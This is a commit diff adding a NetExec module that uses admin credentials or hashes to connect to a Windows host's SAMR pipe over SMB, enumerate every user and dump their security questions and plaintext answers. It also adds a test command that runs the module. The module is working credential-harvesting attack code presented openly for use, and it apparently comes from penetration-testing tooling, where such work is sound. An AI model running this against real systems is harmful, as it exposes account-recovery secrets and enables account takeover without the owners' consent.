add new security-questions module

nxc/modules/security-questions.py

@@ -0,0 +1,134 @@
+from impacket.dcerpc.v5 import samr, transport
+from impacket.nt_errors import STATUS_MORE_ENTRIES
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from json import loads
+from traceback import format_exc as traceback_format_exc
+
+class NXCModule:
+    """
+    Module by Adamkadaban: @Adamkadaban
+    Based on research from @0gtweet (@gtworek)
+
+    Much of this code was copied from add_computer.py
+    Reference: https://hackback.zip/2024/05/08/Remotely-Dumping-Windows-Security-Questions-With-Impacket.html
+    """
+
+    name = "security-questions"
+    description = "Gets security questions and answers for users on computer"
+    supported_protocols = ["smb"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def options(self, context, module):
+        pass
+
+    def on_admin_login(self, context, connection):
+        self.__domain = connection.domain
+        self.__domainNetbios = connection.domain
+        self.__kdcHost = connection.hostname + "." + connection.domain
+        self.__target = self.__kdcHost
+        self.__username = connection.username
+        self.__password = connection.password
+        self.__targetIp = connection.host
+        self.__port = context.smb_server_port
+        self.__aesKey = context.aesKey
+        self.__hashes = context.hash
+        self.__doKerberos = connection.kerberos
+        self.__nthash = ""
+        self.__lmhash = ""
+
+        if context.hash and ":" in context.hash[0]:
+            hashList = context.hash[0].split(":")
+            self.__nthash = hashList[-1]
+            self.__lmhash = hashList[0]
+        elif context.hash and ":" not in context.hash[0]:
+            self.__nthash = context.hash[0]
+            self.__lmhash = "00000000000000000000000000000000"
+
+        self.getSAMRResetInfo(context)
+
+    def getSAMRResetInfo(self, context):
+        string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
+        rpc_transport = transport.DCERPCTransportFactory(string_binding)
+        rpc_transport.set_dport(445)
+        rpc_transport.setRemoteHost(self.__targetIp)
+
+        if hasattr(rpc_transport, "set_credentials"):
+            # This method exists only for selected protocol sequences.
+            rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
+                                         self.__nthash, self.__aesKey)
+        rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
+
+        try:
+            dce = rpc_transport.get_dce_rpc()
+            dce.connect()
+            dce.bind(samr.MSRPC_UUID_SAMR)
+
+            # obtain server handle for samr connection
+            resp = samr.hSamrConnect(dce)
+            server_handle = resp["ServerHandle"]
+
+            resp = samr.hSamrEnumerateDomainsInSamServer(dce, server_handle)
+            domains = resp["Buffer"]["Buffer"]
+
+            resp = samr.hSamrLookupDomainInSamServer(dce, server_handle, domains[0]["Name"])
+
+            # obtain domain handle for samr connection
+            resp = samr.hSamrOpenDomain(dce, serverHandle=server_handle, domainId=resp["DomainId"])
+            domain_handle = resp["DomainHandle"]
+
+            status = STATUS_MORE_ENTRIES
+            enumeration_context = 0
+
+            # try to iterate through users in domain entries for connection
+            while status == STATUS_MORE_ENTRIES:
+                try:
+                    resp = samr.hSamrEnumerateUsersInDomain(dce, domain_handle, enumerationContext=enumeration_context)
+                except DCERPCException as e:
+                    if str(e).find("STATUS_MORE_ENTRIES") < 0:
+                        raise 
+                    resp = e.get_packet()
+
+                for user in resp["Buffer"]["Buffer"]:
+                    try:
+                        context.log.info(f"Querying security questions for User: {user['Name']}")
+                        # request SAMR ID 30
+                        # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6
+                        r = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
+                        info = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserResetInformation)
+
+                        reset_data = info["Buffer"]["Reset"]["ResetData"]
+                        if reset_data == b"":
+                            continue
+                        reset_data = loads(reset_data)
+                        questions = reset_data["questions"]
+
+                        if len(questions) == 0:
+                            context.log.highlight(f"User {user['Name']} has no security questions")
+                        else:
+                            for qna in questions:
+                                question = qna["question"]
+                                answer = qna["answer"]
+                                context.log.highlight(f"{user['Name']} - {question}: {answer}")
+
+                        samr.hSamrCloseHandle(dce, r["UserHandle"])
+                    except samr.DCERPCException as e:
+                        if "STATUS_INVALID_INFO_CLASS" in str(e):
+                            context.log.debug(f"Failed to query security questions for User: {user['Name']}: {e!s}")
+                            continue
+                        else:
+                            context.log.fail(f"Failed to query security questions for User: {user['Name']}: {e!s}")
+                            context.log.debug(traceback_format_exc())
+                enumeration_context = resp["EnumerationContext"]
+                status = resp["ErrorCode"]
+
+        except Exception as e:
+            context.log.fail(f"Error: {e}")
+            context.log.debug(traceback_format_exc())
+
+        finally:
+            if domain_handle is not None:
+                samr.hSamrCloseHandle(dce, domain_handle)
+            if server_handle is not None:
+                samr.hSamrCloseHandle(dce, server_handle)
+            dce.disconnect()

tests/e2e_commands.txt

@@ -82,6 +82,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M imperson
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M security-questions
 # currently hanging indefinitely - TODO: look into this
 #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover
 #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml"